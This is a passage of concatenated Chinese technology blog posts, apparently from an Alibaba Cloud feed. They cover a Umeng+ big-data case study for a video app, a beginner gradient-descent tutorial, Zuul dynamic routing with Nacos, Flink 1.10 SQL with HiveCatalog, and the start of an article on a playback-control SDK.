      最关键的是,缺少大数据加持,中小型App经常会处于盲人摸象的状态,这是因为当前的网络应用已经不是一个数据孤岛,而是在不同行业或不同领域上相互依赖和关联,如果仅仅依靠单一垂直App获取单一局部数据集往往会导致认知偏差,而不是 站在一个全网数据下看待问题,导致你认为的通常并不是你认为的,就像盲人摸象一样。无法全面洞悉偏好,更无法进行精准化、个性化、智能化的内容推荐。

      时长即数据,友盟云助力好兔视频数据短板变长板

      时长即数据的发展背景下,中小型App要突破必须有数据能力加持,尤其需要关注天生的大数据短板,以谋求破局。为此,好兔视频携手友盟+,通过深度融合数据来解决视频应用所面临的行业痛点。

      借助阿里云的PaaS平台,形成一个全域的行业应用大数据,建立好兔视频专属的大数据库,将数据短板转化为长板。在友盟云之上(集成领先的阿里云技术,将互联网企业业务数据与行为数据的无缝融合)打通好兔视频的业务数据与行为数据,使得好兔视频可以在“云上”进行建模和一系列计算,计算出可使用的标签并改善内容推荐机制,提升产品的使用体验。
      1

      此外,通过与友盟+的行为数据打通,好兔视频可以勾勒出完整的画像,减少认知偏差,为产品运营以及用户服务等方面提供数据支撑。比如,IN的数据包括了一些设备的使用时长、Push等信息,好兔视频可能自身无法获取到系统的数据,通过友盟+就能了解到设备的安装、价值等数据,实现对流失的预测分析,给用户提供最及时的视频内容。

      精耕细作大数据富矿,赋能好兔视频构建拉新留存新通道

      当下,经历了流量主导下的跑马圈地后,以精品化的内容策略撬动用户数据新增长,正在成为视频应用新的成长通道。然而,面对网络虚拟环境,单单凭借一个App的局部数据,一方面会导致用户认知偏差,容易把用户带偏。另一方面又要针对作弊、营销、非自然人的机器操作等方式做出应对方案,帮忙企业更好地专注核心业务用户体验本身。诚然,大数据的应用和服务创新成了解决视频行业痛点的关键。

      在以往,传统型的数据服务需要大量的调研时间和成本,并且难以对原始数据进行二次开发利用,造成数据资源闲置,并加重中小企业的研发负担。在友盟云之上,好兔视频不仅能够更快捷地获取海量的数据资源,还能进一步挖掘数据背后的富矿。

      例如,好兔视频能够通过“云上”平台数据模型对现有数据进行二次计算,一方面多维度洞察用户需求并构建完整用户画像,弥补与BATT四大巨头之间在用户画像上的差距,实现千人千面的智能化推荐,满足用户更加个性化的需求;另一方面可以通过数据风控,精准识别风险设备,实现对设备质量进行分层评估,促进用户与内容运营的良性互动,提升次日留存率。

      值得一提的是,友盟+与好兔视频基于大数据所构建的设备质量分层评估模型,通过90天的设备日志检测全网的设备行为,多维度的指标衡量、地域、活跃、设备的可在线、累计渠道和黑名单等来评估数据质量,可将设备价值分为A、B、C、D四类设备。

      从价值流上看,A类设备到C类设备的占比基本呈下降的趋势,但到了D类设备,也就是低价值设备,却有了一个提升。其实,D类设备所有的操作都更加类似于A类设备,也就是高价值设备。好兔认为这可能与线上是一个虚拟的环境有关,生活在社会顶层和社会底层环境的设备,在线上的行为可能是类似的,有待下一步分析。

      在这种情况下,好兔如果单看一个应用内的局部数据,就容易导致认知的偏差,将用户导向机制引偏。同时,从不同分层设备应用内行为数据也能看出,作弊设备由于各项数据都非常高,特别是设备使用时长,可能超过高价值设备,对用户识别有较高的干扰。

      2
      通过友盟+的加持,好兔就能获取到视频分类的播放数据,从而更精准地识别作弊设备。可以看出,由于好兔主要提供生活技能类视频,价值越高的设备对好兔App提供的生活窍门、美食、百科、健康等内容的喜好就越来越高。只有作弊设备是特例,其播放数据相对比较平均,无法看出其喜好。凭借这一点,好兔就能比较明显地发现可能是设备的操作,避开用户引导的误区。

      通过设备分层的数据融合实践,好兔视频得以全方位实现单一App无法做到的识别作弊设备或营销行为等非自然人操作方式,帮助好兔视频把所有的运营精力和营销精力集中在A类高价值设备,拉新和促活也有更明确的指标和有效的策略指导,开辟一条快速成长的新通道。

      提升短视频应用的企业竞争力,大数据融合扮演着至关重要的角色。随着越来越多的大数据服务能力的开放和加持,友盟+不仅能够帮助视频应用实现更多的创新,而且在大数据的风控、精准营销以及用户运营服务上也能够更加精益求精,持续为中小型App企业提供技术支持。

      未来,友盟+携手好兔视频所打造的深度数据融合“样板间”会被广泛应用于各行各业。


      数据中台是企业数智化的新基建,阿里巴巴认为数据中台是集方法论、工具、组织于一体的,“快”、“准”、“全”、“统”、“通”的智能大数据体系。目前正通过阿里云数据中台解决方案对外输出,包括零售金融互联网政务等领域,其中核心产品有:

      数据中台官网 https://dp.alibaba.com
      数据中台钉钉群二维码2.jpg


      ]]>
      零基础入门机器学习:如何识别一只猫? Fri, 02 May 2025 09:39:04 +0800 image.png

      一 是什么是机器学习,为什么我们要机器学习

      什么是机器学习

      先看两个例子:

      我们是如何习得“猫”这个动物的?

      想象一下一个从来没有见过猫的人(比如一个小婴儿),他的词汇里面甚至没有猫这个词。有一天他看到了一个毛茸茸的动物:

      image.png

      这时候他不知道这是什么东西,你告诉他这是 ”猫“。这时候可能小婴儿记住了,这个就是猫。

      又过了段时间他又看见了这样一个动物:

      image.png

      你又告诉他这也是猫。他记住了这也是猫。

      后来又过了段时间,他又看见了一个动物:

      image.png

      这时他直接告诉你他看见了一只“猫”。

      以上就是我们认识世界的基本方法,模式识别:人们通过大量的经验,得到结论,从而判断它就是猫。

      在这个过程中我们通过接触样本(各种猫)学习到了猫的特征(人们通过阅读进行学习,观察它会叫、两只耳朵、四条腿、一条尾巴、有胡须,得到结论),从而知道什么是猫。

      我们如何知道 npm 包判断一个 npm 包是测试 npm 包呢?

      我贴一段小伙伴的代码:

      SELECT * FROM
        tianma.module_xx
      WHERE
        pt = TO_CHAR(DATEADD(GETDATE(), - 1, ‘dd’), ‘yyyymmdd’)
        AND name NOT LIKE ‘%test%’
        AND name NOT LIKE ‘%demo%’
        AND name NOT LIKE ‘%测试%’
        AND keywords NOT LIKE ‘%test%’
        AND keywords NOT LIKE ‘%测试%’
        AND keywords NOT LIKE ‘%demo%’

      很明显我们判断的方式是这个模块的名称和关键字中是否包含:test、demo、测试这三个字符。如果有那么我们就认为他是测试模块。我们把规则告诉了数据库,然后数据库就帮我们筛选了非测试模块。

      识别是否是猫或者识别一个模块是否是测试模块本质上是一样的,都是在找特征:

      • 猫的特征:会叫、两只耳朵、四条腿、一条尾巴、有胡须
      • 测试模块的特征:test、demo、测试

      再进一步将特征程序化表述:

      • 猫的特征 叫:true、耳朵:2、腿:4、尾巴:1、胡须:10
      • 测试模块的特征:test:count>0、demo:count >0、测试:count > 0

      有了这些特征无论是人还是机器都能正确的识别猫或者测试模块了。

      简单的理解机器学习就是通过特征和特征的权重来实现数据的分类。(此处为了便于理解,更准确说法请参考:AiLearning/1.机器学习基础.md at master · apachecn/AiLearning · GitHub)

      为什么要用机器识别呢?

      原因是当某种分类任务的特征数量巨大之后我们就很难用 if else 的方法去做简单的分类了。比如我们常见的商品推荐算法,要确定某个商品是否适合推荐给某人可能的特征数量会达到上百上千个。

      二 如何训练机器,并获得模型?

      准备数据

      数据的准备在整个机器学习的任务中时间占比可能超过 75%,是最重要的一部分,也是最困难的一部分。主要是:

      1. 采集基本的数据
      2. 清理异常值
      3. 挑选可能的特征:特征工程
      4. 数据打标

      准备算法

      让你的数据进行拟合的一个函数:y=f(x)

      比如线性函数也就是一元一次函数:y=ax+b

      评估算法

      如何确定找到的 a、b 值是否合适,那就需要一个评估函数。

      评估函数描述训练得到的参数和实际的值之前的差距(损失值)。比如下图:

      image.png

      右边的蓝色线条更加贴近真实的数据点。

      最常见的损失评估函数就是均方误差函数了。通过计算预测的值和真实值的差的平方和来判断预测值的优劣程度。

      如上图:样本黄色的小圆圈坐标为:

      [

      [x1, y1],
      [x2, y2],
      [x3, y3],
      [x4, y4],
      [x5, y5],
      [x6, y6]

      ],

      蓝色的线预测的坐标为:

      [

      [x1, y’1],
      [x2, y‘2],
      [x3, y’3],
      [x4, y‘4],
      [x5, y’5],
      [x6, y‘6]

      ],

      那么损失值为:

      const cost = ((y’1-y1)^2 + (y’2-y2)^2 + (y’3-y3)^2 + (y’4-y4)^2 + (y’5-y5)^2 + (y’6-y6)^2 ) / 6

      训练算法

      如何找到合适的 a、b 值:抛物线的最低端

      以上述的线性函数为例,训练算法实际上就是在寻找合适的 a,b 值。如果我们在茫茫的数字海洋中随机寻找 a,b 的值那应该是永远找不到的了。这时候我们就需要用到梯度下降算法来寻找 a,b 值了。

      再明确一下目标,将上述的损失值计算公式替换为:y=ax+b

      // 函数 2
      const cost = (((a*x1+b)-y1)^2 + ((a*x2+b)-y2)^2 + ((a*x3+b)-y3)^2 + ((a*x4+b)-y4)^2 + ((a*x5+b)-y5)^2 + ((a*x6+b)-y6)^2 )/ 6

      目标是找到一组 a、b 的值使得 cost 最小。有了这个目标就好办多了。

      不知道你还记不记得初中的抛物线函数,也就是一元二次方程:y = ax^2+bx+c

      而我们上述的 cost 函数虽然看起来很长,但是正好也是一个二次函数。它的图大概是这样的:

      image.png

      只要我们找到最低点的 a,b 值就完成我们的目标了。

      怎么知道到达抛物线的低端:抛物线的低端斜率为 0

      假设我们随机初始化一个 a 值为 1, 这时我们的点就在抛物线的左上方位置,距离最低点(cost 最小)的位置还距离很远呢。

      看图可知我们只要增加 a 的值就可以靠近最低点了。那看图机器可不会,这时候我们要祭出本篇文章中最复杂的数学知识了:导数。在这个点上的切线斜率值即为这个抛物线的导数,如上图最低点(斜率为 0 处)。

      通过这个导数可以计算出这个位置的切线(红色的斜线)斜率。如果这个斜线的斜率为负数就意味着 a 太小了,需要增加才能更靠近底部。反之如果斜率为正意味着过了最低点了,需要减少才能更靠近底部。

      如何求 cost 函数的导数呢?

      不展开了,直接看代码吧。关键字:偏导数、复合求导

      // 函数 3
      // a参数的偏导数
      const costDaoA = (((a*x1+b)-y1)*2*x1 + ((a*x2+b)-y2)*2*x1 + ((a*x3+b)-y3)*2*x1 + ((a*x4+b)-y4)*2*x1 + ((a*x5+b)-y5)*2*x1 + ((a*x6+b)-y6)*2*x1 )/ 6
      
      // b参数的偏导数
      const costDaoB = (((a*x1+b)-y1)*2 + ((a*x2+b)-y2)*2 + ((a*x3+b)-y3)*2 + ((a*x4+b)-y4)*2 + ((a*x5+b)-y5)*2 + ((a*x6+b)-y6)*2 )/ 6

      也就是只要将 a,b 值带入 costDaoA 函数就可以得到一个斜率,这个斜率指导参数 a 该如何调整以便更靠近底部。

      同理 costDaoB 指导参数 b 改如何靠近底部。

      循环 500 次吧

      就这样循环 500 次,基本上就能非常靠近底部了,从而获得合适的 a,b 值。

      获得模型

      当你获得了 a,b 值之后,那么我们就获得了 y=ax+b 这样一个模型,这个模型就可以帮助我们做预测了。

      三 实践一下先从简单的开始:线性回归

      什么是线性回归

      人们早就知晓 ,相比凉爽的天气,蟋蟀在较为炎热的天气里鸣叫更为频繁。我们记录了气温和每分钟叫声的一个表格,并且在 Excel 中绘制了下图(案例来自 google tf 的官方教程):

      image.png

      是不是很清晰,这些小红点几乎排在了一条直线上:

      image.png

      那么我们就认为这些数据的分布是线性的,绘制的这条直线的过程就是线性回归。有了这条曲线我们就能准确的预测任何问题下鸣叫的次数了。

      用浏览器做一个线性回归演示

      地址:测试梯度下降
      https://jshare.com.cn/feeqi/CtGy0a/share?spm=ata.13261165.0.0.6d8c3ebfIOhvAq

      image.png

      为了可视化采用了 highcharts 做数据可视化,同时为了省下 75% 的时间直接用了 highcharts 的默认数据点:
      https://www.highcharts.com.cn/demo/highcharts/scatter

      当训练完成后绘制了一条蓝色的线叠加在了图上,同时增加了每次训练的 a,b 值的损失率曲线。

      代码介绍

      /**
      
      * 代价函数 均方差计算
      
      */
      
      function cost(a, b) {
      
          let sum = data.reduce((pre, current) = >{
      
              return pre + ((a + current[0] * b) - current[1]) * ((a + current[0] * b) - current[1]);
      
          },
          0);
      
          return sum / 2 / data.length;
      
      }
      
      /**
      
      * 计算梯度
      
      * @param a
      
      * @param b
      
      */
      
      function gradientA(a, b) {
      
          let sum = data.reduce((pre, current) = >{
      
              return pre + ((a + current[0] * b) - current[1]) * (a + current[0] * b);
      
          },
          0);
      
          return sum / data.length;
      
      }
      
      function gradientB(a, b) {
      
          let sum = data.reduce((pre, current) = >{
      
              return pre + ((a + current[0] * b) - current[1]);
      
          },
          0);
      
          return sum / data.length;
      
      }
      
      // 训练次数
      let batch = 200;
      
      // 每次的靠近底部的速度,也就是学习速率。过高会导致在底部弹跳迟迟不能到到底部,过低会导致学习效率降低。
      let alpha = 0.001;
      
      let args = [0, 0]; // 初始化 a b 值
      function step() {
      
          let costNumber = (cost(args[0], args[1]));
      
          console.log(‘cost’, costNumber);
      
          chartLoss.series[0].addPoint(costNumber, true, false, false);
      
          args[0] -= alpha * gradientA(args[0], args[1]);
      
          args[1] -= alpha * gradientB(args[0], args[1]);
      
          if ((—batch > 0)) {
      
              window.requestAnimationFrame(() = >{
                  step()
              });
      
          } else {
      
              drawLine(args[0], args[1]);
      
          }
      
      }
      
      step();

      四 接下来要做的

      当特征更多的时候,我们需要更多的计算、更长时间的训练来获得训练模型。

      上述描述都比较简单,但是相信机器学习对你已经不再神秘,那么可以参考更专业的入门文章。

      参考
      [1] GitHub - apachecn/AiLearning: AiLearning: 机器学习 - MachineLearning - ML、深度学习 - DeepLearning - DL、自然语言处理 NLP

      [2] https://developers.google.com/machine-learning/crash-course/descending-into-ml/video-lecture?hl=zh-cn
      [3] 从 0 开始机器学习 - 手把手用 Python 实现梯度下降法!- 掘金

      福利来了 | 阿里云 AI 视觉训练营

      加入阿里云高校计划 AI 视觉训练营,与达摩院视觉导师亲密接触。五天时间玩转身份证识别应用、电子相册应用、图像识别项目、车辆识别项目。

      识别下方二维码或点击“阅读原文”马上参与:
      image.png

      ]]>
      Spring Cloud Zuul的动态路由怎样做?集成Nacos实现很简单 Fri, 02 May 2025 09:39:04 +0800 动态路由.jpg

      一、说明

      网关的核心概念就是路由配置和路由规则,而作为所有请求流量的入口,在实际生产环境中为了保证高可靠和高可用,是尽量要避免重启的,所以实现动态路由是非常有必要的;本文主要介绍实现的思路,并且以Nacos为数据源来讲解

       

      二、实现要点

      要实现动态路由只需关注下面4个点

      1. 网关启动时,动态路由的数据怎样加载进来
      2. 静态路由动态路由以那个为准,ps:静态路由指的是配置文件里写死的路由配置
      3. 监听动态路由的数据源变化
      4. 数据有变化时怎样通知zuul刷新路由

       

      三、具体实现

      3.1. 实现动态路由的数据加载

      • 重写SimpleRouteLocator类的locateRoutes方法,此方法是加载路由配置的,父类中是获取properties中的路由配置,可以通过扩展此方法,达到动态获取配置的目的
      • 这里采用静态路由动态路由共存,相同路由id以动态路由优先覆盖的实现方式

      AbstractDynRouteLocator类可查看:AbstractDynRouteLocator.java

      public abstract class AbstractDynRouteLocator extends SimpleRouteLocator implements RefreshableRouteLocator {
          private ZuulProperties properties;
      
          public AbstractDynRouteLocator(String servletPath, ZuulProperties properties) {
              super(servletPath, properties);
              this.properties = properties;
          }
      
          /**
           * 刷新路由
           */
          @Override
          public void refresh() {
              doRefresh();
          }
      
          @Override
          protected Map<String, ZuulRoute> locateRoutes() {
              LinkedHashMap<String, ZuulRoute> routesMap = new LinkedHashMap<>();
              // 从application.properties中加载静态路由信息
              routesMap.putAll(super.locateRoutes());
              // 从数据源中加载动态路由信息
              routesMap.putAll(loadDynamicRoute());
              // 优化一下配置
              LinkedHashMap<String, ZuulRoute> values = new LinkedHashMap<>();
              for (Map.Entry<String, ZuulRoute> entry : routesMap.entrySet()) {
                  String path = entry.getKey();
                  // Prepend with slash if not already present.
                  if (!path.startsWith("/")) {
                      path = "/" + path;
                  }
                  if (StringUtils.hasText(this.properties.getPrefix())) {
                      path = this.properties.getPrefix() + path;
                      if (!path.startsWith("/")) {
                          path = "/" + path;
                      }
                  }
                  values.put(path, entry.getValue());
              }
              return values;
          }
      
          /**
           * 加载路由配置,由子类去实现
           */
          public abstract Map<String, ZuulRoute> loadDynamicRoute();
      }

      由于动态路由的数据可以有很多种途径,如:Nacos、Redis、Zookeeper、DB等,所以这里定义一个抽象类,由具体的实现类去定义loadDynamicRoute方法

      3.2. Nacos路由实现类

      NacosDynRouteLocator类完整的代码实现可查看:NacosDynRouteLocator.java

      3.2.1. 实现loadDynamicRoute方法获取动态数据

          @Override
          public Map<String, ZuulProperties.ZuulRoute> loadDynamicRoute() {
              Map<String, ZuulRoute> routes = new LinkedHashMap<>();
              if (zuulRouteEntities == null) {
                  zuulRouteEntities = getNacosConfig();
              }
              for (ZuulRouteEntity result : zuulRouteEntities) {
                  if (StrUtil.isBlank(result.getPath()) || !result.isEnabled()) {
                      continue;
                  }
                  ZuulRoute zuulRoute = new ZuulRoute();
                  BeanUtil.copyProperties(result, zuulRoute);
                  routes.put(zuulRoute.getPath(), zuulRoute);
              }
              return routes;
          }
              
          private List<ZuulRouteEntity> getNacosConfig() {
              try {
                  String content = nacosConfigProperties.configServiceInstance().getConfig(ZUUL_DATA_ID, ZUUL_GROUP_ID,5000);
                  return getListByStr(content);
              } catch (NacosException e) {
                  log.error("listenerNacos-error", e);
              }
              return new ArrayList<>(0);
          }

      3.2.2. 增加NacosListener监听路由数据变化

          private void addListener() {
              try {
                  nacosConfigProperties.configServiceInstance().addListener(ZUUL_DATA_ID, ZUUL_GROUP_ID, new Listener() {
                      @Override
                      public Executor getExecutor() {
                          return null;
                      }
      
                      @Override
                      public void receiveConfigInfo(String configInfo) {
                          //赋值路由信息
                          locator.setZuulRouteEntities(getListByStr(configInfo));
                          RoutesRefreshedEvent routesRefreshedEvent = new RoutesRefreshedEvent(locator);
                          publisher.publishEvent(routesRefreshedEvent);
                      }
                  });
              } catch (NacosException e) {
                  log.error("nacos-addListener-error", e);
              }
          }

      注意路由数据变化后不需要自己手动刷新路由,只需要给zuul发送一个RoutesRefreshedEvent事件即可,zuul自己有个ZuulRefreshListener类会监听事件帮我们刷新路由

      3.3. 配置类创建NacosDynRouteLocator的Bean

      DynamicZuulRouteConfig可查看:NacosDynRouteLocator.java

      @Configuration
      @ConditionalOnProperty(prefix = "zlt.gateway.dynamicRoute", name = "enabled", havingValue = "true")
      public class DynamicZuulRouteConfig {
          @Autowired
          private ZuulProperties zuulProperties;
      
          @Autowired
          private DispatcherServletPath dispatcherServletPath;
      
          /**
           * Nacos实现方式
           */
          @Configuration
          @ConditionalOnProperty(prefix = "zlt.gateway.dynamicRoute", name = "dataType", havingValue = "nacos", matchIfMissing = true)
          public class NacosZuulRoute {
              @Autowired
              private NacosConfigProperties nacosConfigProperties;
      
              @Autowired
              private ApplicationEventPublisher publisher;
      
              @Bean
              public NacosDynRouteLocator nacosDynRouteLocator() {
                  return new NacosDynRouteLocator(nacosConfigProperties, publisher, dispatcherServletPath.getPrefix(), zuulProperties);
              }
          }
      }

      这里通过自定义配置来控制是否开启动态路由功能

      3.4. 添加Nacos路由配置

      nacos配置.png

      新增配置项:

      • Data Id:zuul-routes
      • Group:ZUUL_GATEWAY
      • 配置内容:
      [
          {
              "enabled":true,
              "id":"csdn",
              "path":"/csdn/**",
              "retryable":false,
              "stripPrefix":true,
              "url":"https://www.csdn.net/"
          }, {
              "enabled":true,
              "id":"github",
              "path":"/github/**",
              "retryable":false,
              "stripPrefix":true,
              "url":"http://github.com/"
          }
      ]

      添加两条路由数据

       

      四、测试

      • 启动网关通过/actuator/routes端点查看当前路由信息
        路由2.png

      可以看到静态路由和Nacos里配置的两条路由信息并存显示

      • 修改Nacos配置,关闭csdn路由
        nacos配置_关闭csdn.png
      • 刷新查看网关的路由信息
        路由3.png

      csdn的路由已经看不到了,实现了动态改变路由配置

      ]]>
      Flink 1.10 SQL、HiveCatalog 与事件时间整合示例 Fri, 02 May 2025 09:39:04 +0800 Flink 1.10 与 1.9 相比又是个创新版本,在我们感兴趣的很多方面都有改进,特别是 Flink SQL。本文用根据埋点日志计算 PV、UV 的简单示例来体验 Flink 1.10 的两个重要新特性:

      一是 SQL DDL 对事件时间的支持;
      二是 Hive Metastore 作为 Flink 的元数据存储(即 HiveCatalog)。

      这两点将会为我们构建实时数仓提供很大的便利。

      添加依赖项

      示例采用 Hive 版本为 1.1.0,Kafka 版本为 0.11.0.2。

      要使 Flink 与 Hive 集成以使用 HiveCatalog,需要先将以下 JAR 包放在 ${FLINK_HOME}/lib 目录下。

      • flink-connector-hive_2.11-1.10.0.jar
      • flink-shaded-hadoop-2-uber-2.6.5-8.0.jar
      • hive-metastore-1.1.0.jar
      • hive-exec-1.1.0.jar
      • libfb303-0.9.2.jar

      后三个 JAR 包都是 Hive 自带的,可以在 ${HIVE_HOME}/lib 目录下找到。前两个可以通过阿里云 Maven 搜索 GAV 找到并手动下载(groupId 都是org.apache.flink)。

      再在 pom.xml 内添加相关的 Maven 依赖。

      Maven 下载:
      https://maven.aliyun.com/mvn/search

      <properties>
          <scala.bin.version>2.11</scala.bin.version>
          <flink.version>1.10.0</flink.version>
          <hive.version>1.1.0</hive.version>
        </properties>
      
        <dependencies>
          <dependency>
            <groupId>org.apache.flink</groupId>
            <artifactId>flink-table-api-scala_${scala.bin.version}</artifactId>
            <version>${flink.version}</version>
          </dependency>
          <dependency>
            <groupId>org.apache.flink</groupId>
            <artifactId>flink-table-api-scala-bridge_${scala.bin.version}</artifactId>
            <version>${flink.version}</version>
          </dependency>
          <dependency>
            <groupId>org.apache.flink</groupId>
            <artifactId>flink-table-planner-blink_${scala.bin.version}</artifactId>
            <version>${flink.version}</version>
          </dependency>
          <dependency>
            <groupId>org.apache.flink</groupId>
            <artifactId>flink-sql-connector-kafka-0.11_${scala.bin.version}</artifactId>
            <version>${flink.version}</version>
          </dependency>
          <dependency>
            <groupId>org.apache.flink</groupId>
            <artifactId>flink-connector-hive_${scala.bin.version}</artifactId>
            <version>${flink.version}</version>
          </dependency>
          <dependency>
            <groupId>org.apache.flink</groupId>
            <artifactId>flink-json</artifactId>
            <version>${flink.version}</version>
          </dependency>
          <dependency>
            <groupId>org.apache.hive</groupId>
            <artifactId>hive-exec</artifactId>
            <version>${hive.version}</version>
          </dependency>
        </dependencies>

      最后,找到 Hive 的配置文件 hive-site.xml,准备工作就完成了。

      注册 HiveCatalog、创建数据库

      不多废话了,直接上代码,简洁易懂。

      val streamEnv = StreamExecutionEnvironment.getExecutionEnvironment
          streamEnv.setParallelism(5)
          streamEnv.setStreamTimeCharacteristic(TimeCharacteristic.EventTime)
      
          val tableEnvSettings = EnvironmentSettings.newInstance()
              .useBlinkPlanner()
              .inStreamingMode()
              .build()
          val tableEnv = StreamTableEnvironment.create(streamEnv, tableEnvSettings)
      
          val catalog = new HiveCatalog(
            "rtdw",                   // catalog name
            "default",                // default database
            "/Users/lmagic/develop",  // Hive config (hive-site.xml) directory
            "1.1.0"                   // Hive version
          )
          tableEnv.registerCatalog("rtdw", catalog)
          tableEnv.useCatalog("rtdw")
      
          val createDbSql = "CREATE DATABASE IF NOT EXISTS rtdw.ods"
          tableEnv.sqlUpdate(createDbSql)

      创建 Kafka 流表并指定事件时间

      我们的埋点日志存储在指定的 Kafka topic 里,为 JSON 格式,简化版 schema 大致如下。

      "eventType": "clickBuyNow",
          "userId": "97470180",
          "shareUserId": "",
          "platform": "xyz",
          "columnType": "merchDetail",
          "merchandiseId": "12727495",
          "fromType": "wxapp",
          "siteId": "20392",
          "categoryId": "",
          "ts": 1585136092541

      其中 ts 字段就是埋点事件的时间戳(毫秒)。在 Flink 1.9 时代,用 CREATE TABLE 语句创建流表时是无法指定事件时间的,只能默认用处理时间。而在 Flink 1.10 下,可以这样写。

      CREATE TABLE rtdw.ods.streaming_user_active_log (
        eventType STRING COMMENT '...',
        userId STRING,
        shareUserId STRING,
        platform STRING,
        columnType STRING,
        merchandiseId STRING,
        fromType STRING,
        siteId STRING,
        categoryId STRING,
        ts BIGINT,
        procTime AS PROCTIME(), -- 处理时间
        eventTime AS TO_TIMESTAMP(FROM_UNIXTIME(ts / 1000, 'yyyy-MM-dd HH:mm:ss')), -- 事件时间
        WATERMARK FOR eventTime AS eventTime - INTERVAL '10' SECOND -- 水印
      ) WITH (
        'connector.type' = 'kafka',
        'connector.version' = '0.11',
        'connector.topic' = 'ng_log_par_extracted',
        'connector.startup-mode' = 'latest-offset', -- 指定起始offset位置
        'connector.properties.zookeeper.connect' = 'zk109:2181,zk110:2181,zk111:2181',
        'connector.properties.bootstrap.servers' = 'kafka112:9092,kafka113:9092,kafka114:9092',
        'connector.properties.group.id' = 'rtdw_group_test_1',
        'format.type' = 'json',
        'format.derive-schema' = 'true', -- 由表schema自动推导解析JSON
        'update-mode' = 'append'
      )

      Flink SQL 引入了计算列(computed column)的概念,其语法为 column_name AS computed_column_expression,它的作用是在表中产生数据源 schema 不存在的列,并且可以利用原有的列、各种运算符及内置函数。比如在以上 SQL 语句中,就利用内置的 PROCTIME() 函数生成了处理时间列,并利用原有的 ts 字段与 FROM_UNIXTIME()、TO_TIMESTAMP() 两个时间转换函数生成了事件时间列。

      为什么 ts 字段不能直接用作事件时间呢?因为 Flink SQL 规定时间特征必须是 TIMESTAMP(3) 类型,即形如"yyyy-MM-ddTHH:mm:ssZ"格式的字符串,Unix 时间戳自然是不行的,所以要先转换一波。

      既然有了事件时间,那么自然要有水印。Flink SQL 引入了 WATERMARK FOR rowtime_column_name AS watermark_strategy_expression 的语法来产生水印,有以下两种通用的做法:

      • 单调不减水印(对应 DataStream API 的 AscendingTimestampExtractor)
      WATERMARK FOR rowtime_column AS rowtime_column - INTERVAL '0.001' SECOND
      • 有界乱序水印(对应 DataStream API 的 BoundedOutOfOrdernessTimestampExtractor)
      WATERMARK FOR rowtime_column AS rowtime_column - INTERVAL 'n' TIME_UNIT

      上文的 SQL 语句中就是设定了 10 秒的乱序区间。如果看官对水印、AscendingTimestampExtractor 和 BoundedOutOfOrdernessTimestampExtractor 不熟的话,可以参见之前的这篇,就能理解为什么会是这样的语法了。

      https://www.jianshu.com/p/c612e95a5028

      下面来正式建表。

          val createTableSql =
            """
              |上文的SQL语句
              |......
            """.stripMargin
          tableEnv.sqlUpdate(createTableSql)

      执行完毕后,我们还可以去到 Hive 执行 DESCRIBE FORMATTED ods.streaming_user_active_log 语句,能够发现该表并没有事实上的列,而所有属性(包括 schema、connector、format 等等)都作为元数据记录在了 Hive Metastore 中。

      1 640.png
      2 640.png

      Flink SQL 创建的表都会带有一个标记属性 is_generic=true,图中未示出。

      开窗计算 PV、UV

      用30秒的滚动窗口,按事件类型来分组,查询语句如下。

      SELECT eventType,
      TUMBLE_START(eventTime, INTERVAL '30' SECOND) AS windowStart,
      TUMBLE_END(eventTime, INTERVAL '30' SECOND) AS windowEnd,
      COUNT(userId) AS pv,
      COUNT(DISTINCT userId) AS uv
      FROM rtdw.ods.streaming_user_active_log
      WHERE platform = 'xyz'
      GROUP BY eventType, TUMBLE(eventTime, INTERVAL '30' SECOND)

      关于窗口在 SQL 里的表达方式请参见官方文档。1.10 版本 SQL 的官方文档写的还是比较可以的。

      SQL 文档:
      https://ci.apache.org/projects/flink/flink-docs-release-1.10/dev/table/sql/queries.html#group-windows

      懒得再输出到一个结果表了,直接转换成流打到屏幕上。

          val queryActiveSql =
            """
              |......
              |......
            """.stripMargin
          val result = tableEnv.sqlQuery(queryActiveSql)
      
          result
              .toAppendStream[Row]
              .print()
              .setParallelism(1)

      敏感数据较多,就不一一截图了。以上是我分享的两个示例,感兴趣的同学也可以动手试试。

      ]]>
      播控系统近端调用能力:去中心化 SDK Fri, 02 May 2025 09:39:04 +0800

      作者| 阿里文娱开发工程师 张满

      作为大型基础服务,播控系统有几十个上游业务方,并且其中大部分都是直接参与视频播 放生产链路的重要应用。这些业务方比如 CMS、媒资、播放服务、搜酷和 OTT 等对播控服务 的 RT 和成功率的抖动很敏感,播控的任何抖动直接影响视频播放链路,进而影响用户观看体验。
      随着播控应用的业务方数目和调用量不断上涨,系统流量不断增大但是机器资源有限,如何在资源有限的条件下解决系统稳定性?
      除了持续进行系统优化, 我们以去中心的思路来解决问题:提供一个封装播控核心服务的 近端调用 SDK,大流量业务方使用 SDK 完成内容播控的需要,以此降低对播控中心服务的依 赖,减少风险;对于播控中心系统,SDK 抵挡了大流量的冲击,提升系统稳定性的同时节省了 机器资源。

      一、播控 SDK 的技术架构与进展

      播控系统作为控制内容播放的服务,业务方的请求到达播控后,处理流程可以分为两步:
      第一步是先获取视频关联的播控策略, 会进行分布式缓存、本地缓存以及数据库的查询;
      第二步是根据查询出的数据进行静态计算并返回结果。

      由于查询分布式缓存和本地缓存具有极高的缓存中率,所以可以将查询缓存和静态计算的 过程迁移到播控 SDK 中,完成大部分请求的响应,剩下没有命中缓存的部分,再进行 RPC 调 用获取结果。播控中心系统和 SDK 的关系图如下:

      image.png

      播控中心系统和 SDK 共用基础设施资源,并且具有相同的静态计算过程。与之前所有业务 方都集中请求播控系统,由播控系统统一收集信息并进行计算的调用方式相比,播控 SDK 以去 中心化的方式来提供服务,由业务方机器来收集信息并进行静态计算,防止由于播控系统的故 障,造成所有业务方请求播控都失败,减少了系统性风险。同时业务方引入播控 SDK 后,99% 的查询和计算都在本地完成,减少远程请求的通信耗时和网络延迟, 依赖的播控服务的稳定性 大幅度提升。对于播控中心系统来说,SDK 抵挡了业务方流量,减少机器成本的同时,提升了 系统稳定性。
      当前,已经有几个较大的业务方接入了播控 SDK,经过 SDK 处理的流量占播控系统总体 流量四成以上,相当于年度节省上百万的机器成本。

      二、播控 SDK 遇到的技术挑战和解决方案

      播控 SDK 在去中心化过程中,遇到三个核心技术挑战:
      1)接入播控 SDK 的业务方在多个环境多套机房, SDK 如何屏蔽业务方环境差异,与播控 中心系统提供一致的播放控制服务功能;
      2)业务方机器资源有限,如何提升 SDK 的性能和减少计算资源消耗;
      3)播控 SDK 嵌入多个业务方环境运行,如何监控 SDK 的运行状态,并且出现问题时具备 有效的预警和稳定性方案。
      接下来从以上三个方面来具体介绍播控 SDK 解决上述问题的方案。

      1. 多机房多环境的数据和服务一致性

